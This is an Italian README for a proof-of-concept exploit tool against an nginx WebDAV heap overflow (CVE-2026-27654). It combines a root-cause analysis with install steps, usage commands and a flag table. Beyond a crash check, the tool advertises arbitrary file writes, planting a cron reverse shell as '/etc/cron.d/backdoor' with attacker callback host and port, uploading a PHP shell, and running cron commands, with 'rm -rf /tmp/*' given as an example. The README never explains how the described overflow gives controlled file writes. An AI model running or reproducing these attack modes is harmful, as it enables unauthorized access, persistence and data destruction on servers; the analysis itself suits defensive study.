
CVE-2026-27654-PoC — Updated!
Proof-of-Concept e analisi tecnica per CVE-2026-27654, una vulnerabilità di overflow del buffer basato su heap nel modulo HTTP WebDAV di NGINX, inclusa l'analisi della causa principale, la riproduzione e la mitigazione.
CVE-2026-27654 – nginx ngx_http_dav_module PoC per la gestione dei percorsi alias DAV
Questo repository fornisce un proof-of-concept exploit per CVE-2026-27654, una vulnerabilità di heap overflow nel modulo ngx_http_dav_module di nginx. Il bug deriva da un underflow di tipo size_t durante la gestione di richieste MOVE/COPY con header Destination appositamente modificati e location basate su alias.
⚠️ Disclaimer: Questo strumento è destinato esclusivamente a ricerca e test di sicurezza autorizzati. Usalo solo contro sistemi che possiedi o per i quali hai esplicita autorizzazione al test. Gli autori non si assumono alcuna responsabilità per un uso improprio.
🔥 Panoramica della vulnerabilità
CVE-2026-27654 è un heap-based buffer overflow attivabile da remoto nel modulo HTTP WebDAV di NGINX, causato da un integer underflow in ngx_http_dav_copy_move_handler() (src/http/modules/ngx_http_dav_module.c). La vulnerabilità si verifica quando la lunghezza dell'URI di destinazione viene derivata sottraendo il prefisso della location configurata dal percorso dell'header Destination. Poiché entrambi gli operandi sono di tipo size_t, un percorso di destinazione più corto fa sì che la sottrazione vada in wrap-around a un valore unsigned quasi massimo.
La lunghezza in wrap-around viene successivamente usata come argomento di dimensione per memcpy(), provocando una scrittura heap fuori dai limiti che corrompe la memoria e fa crashare immediatamente il processo worker di NGINX. Un attaccante remoto e non autenticato può attivare in modo affidabile questa condizione con una singola richiesta MOVE o COPY appositamente costruita, indirizzata a una location WebDAV mappata tramite alias. Sebbene il processo master di NGINX riavvii automaticamente i worker terminati, richieste ripetute possono mantenere il servizio in un ciclo continuo di crash dei worker, producendo un persistente Denial-of-Service (DoS).
AddressSanitizer (ASan) conferma la vulnerabilità con un errore negative-size-param in memcpy(), tracciando il percorso di esecuzione da ngx_http_dav_copy_move_handler() fino a ngx_http_core_module.c. La vulnerabilità interessa NGINX 0.5.13–1.28.2 (stable) e 1.29.0–1.29.6 (mainline) quando compilato con --with-http_dav_module e configurato con la direttiva alias. Il problema è stato corretto in NGINX 1.28.3 e 1.29.7 (commit ab4b5b8, PR #1210) tramite una corretta validazione della lunghezza del percorso di destinazione calcolato prima delle operazioni di memoria.
✨ Caratteristiche
- Selezione della modalità interattiva – scegli tra quattro modalità operative in fase di esecuzione (crash, write-file, cron-shell, cron-cmd) tramite un chiaro menu numerato.
- Trigger di crash – invia la richiesta
MOVE/COPYcanonica che attiva l'underflow disize_te fa crashare il worker vulnerabile. - Modalità write-file – carica contenuto arbitrario in qualsiasi posizione del filesystem (richiede un ambiente di laboratorio con
aliasscrivibile). - Consegna cron-shell – distribuisce un cron job di reverse shell in
/etc/cron.d/, con richieste interattive perLHOST/LPORTe un promemoria per avviare il listener. - Consegna cron-cmd – esegue un comando personalizzato tramite cron; accetta input interattivo o il flag
--cron-command. - Controllo vulnerabilità (
--check) – modalità non interattiva che esegue il test di crash e stampa un verdetto chiaro[VULNERABLE]/[NOT VULNERABLE], uscendo con codice 0 o 1. - Supporto proxy HTTP (
--proxy) – instrada tutte le richieste attraverso un proxy HTTP/HTTPS (es. Burp Suite, mitmproxy) per debug o ispezione del traffico. - Gestione intelligente dei file – verifica se il file trigger esiste già (tramite HEAD/GET) e salta la PUT se presente, evitando caricamenti inutili.
- Opzioni payload flessibili – fornisci payload tramite
--payload-file(binario),--payload-text(testo letterale) oppure usa il contenuto di test predefinito. - Argomenti da riga di comando completi – regola ogni aspetto dell'exploit:
--destination-path,--alias-len,--escape-depth,--method,--location-prefixe altro. - Fallback robusto – se la libreria
requestsnon è installata, lo script ripiega sul modulo standardhttp.clientdi Python (il supporto proxy è disabilitato in modalità fallback).
📦 Installazione
git clone https://github.com/Debajyoti0-0/CVE-2026-27654-PoC.git
cd CVE-2026-27654-PoC
pip install -r requirements.txt
🚀 Utilizzo
Modalità interattiva (menu)
python exploit.py --target 192.168.1.100:8080
Ti verrà mostrato un menu numerato e ti verrà chiesto di selezionare una modalità.
Controllo vulnerabilità (non interattivo)
python exploit.py --target 192.168.1.100:8080 --check
Questa opzione forza la modalità crash, esegue l'exploit e stampa [VULNERABLE] o [NOT VULNERABLE] prima di uscire con codice 0 o 1.
Con un proxy HTTP
python exploit.py --target 192.168.1.100:8080 --proxy http://127.0.0.1:8080
Tutte le richieste HTTP verranno inviate tramite il proxy specificato (utile per il debug con Burp).
⚙️ Riferimento Flag
| Flag | Descrizione | Esempio |
|---|---|---|
--target HOST:PORT | Istanza nginx target (default: 127.0.0.1:8080). | --target 10.0.0.5:80 |
--verbose, -v | Mostra le risposte HTTP complete (header e body). | -v |
--no-put | Salta la PUT iniziale (presuppone che il file trigger esista già). Utile per test ripetuti. | --no-put |
--location-prefix | Prefisso della location DAV (default: /uploads/). Deve corrispondere alla location alias nella configurazione di nginx. | --location-prefix /dav/ |
--remote-name | Nome del file sorgente remoto posizionato all'interno della location DAV (default: triggerfile.txt). | --remote-name test.txt |
--method {MOVE,COPY} | Metodo DAV da usare per la richiesta di destinazione (default: MOVE). | --method COPY |
--destination-path | Percorso URI di destinazione – usato per l'aritmetica del crash o come percorso file finale per le modalità di consegna. | --destination-path /etc/cron.d/backdoor |
--alias-len | Lunghezza della stringa alias configurata (usata per la visualizzazione dell'aritmetica del crash, default 13). | --alias-len 20 |
--escape-depth | Numero di componenti di percorso ../ per uscire dalla root DAV (default 1). | --escape-depth 3 |
--payload-file | File locale da caricare come payload. Sostituisce il contenuto di test predefinito. | --payload-file ./shell.php |
--payload-text | Payload di testo letterale per la modalità write-file. | --payload-text \"<?php phpinfo(); ?>\" |
--lhost | Host di callback della reverse shell (per cron-shell). Se omesso, lo script lo chiede interattivamente. | --lhost 192.168.1.50 |
--lport | Porta di callback della reverse shell (per cron-shell). | --lport 4444 |
--cron-command | Comando da eseguire tramite cron (per cron-cmd). Se omesso, lo script lo chiede interattivamente. | --cron-command "rm -rf /tmp/*" |
--wait | Secondi di attesa dopo la consegna del cron job prima che venga eseguito (default 65). | --wait 120 |
--check | Esegue il controllo di vulnerabilità (crash test, non interattivo). Output VULNERABLE/NOT VULNERABLE ed esce con codice 0/1. | --check |
--proxy PROXY_URL | URL del proxy HTTP/HTTPS (es. http://127.0.0.1:8080). Richiede la libreria requests. | --proxy http://127.0.0.1:8080 |
Nota: La maggior parte dei flag è opzionale. Lo script chiederà gli argomenti necessari mancanti (es.
--lhost/--lportpercron-shell) se non vengono forniti.